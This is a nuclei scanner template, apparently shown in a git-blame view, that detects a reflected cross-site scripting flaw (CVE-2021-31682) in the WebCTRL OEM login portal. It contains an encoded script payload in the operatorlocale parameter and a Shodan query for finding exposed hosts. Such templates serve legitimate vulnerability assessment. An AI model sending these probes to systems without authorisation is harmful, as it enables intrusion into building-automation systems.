nuclei-templates/http/cves/2021/CVE-2021-31682.yaml

54 lines
1.8 KiB
YAML
Raw Normal View History

id: CVE-2021-31682
info:
2022-11-29 05:48:16 +00:00
name: WebCTRL OEM <= 6.5 - Cross-Site Scripting
author: gy741,dhiyaneshDk
severity: medium
description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682).
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-31682
- https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
- https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
- http://packetstormsecurity.com/files/164707/WebCTRL-OEM-6.5-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-31682
cwe-id: CWE-79
epss-score: 0.00377
epss-percentile: 0.69794
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:automatedlogic:webctrl:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: automatedlogic
product: webctrl
2023-09-06 12:09:01 +00:00
shodan-query: html:"/_common/lvl5/dologin.jsp"
tags: cve,cve2021,webctrl,xss,packetstorm
http:
- method: GET
path:
2021-10-31 11:26:16 +00:00
- '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
part: body
2021-10-31 11:26:16 +00:00
words:
- '"><script>alert(document.domain)</script>'
- 'common/lvl5'
2023-07-11 19:49:27 +00:00
condition: and
- type: word
2021-10-31 11:26:16 +00:00
part: header
words:
- "text/html"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4a0a004730450221009f791a08898025000d7b7180cbd21843197e00c7361cc04f9498d31cc62bc5870220074a9387251fccc4c84b5a07fa8c2c198223de7ce6c1bbf77c31cf2b2968edd7:922c64590222798bb761d5b6d8e72950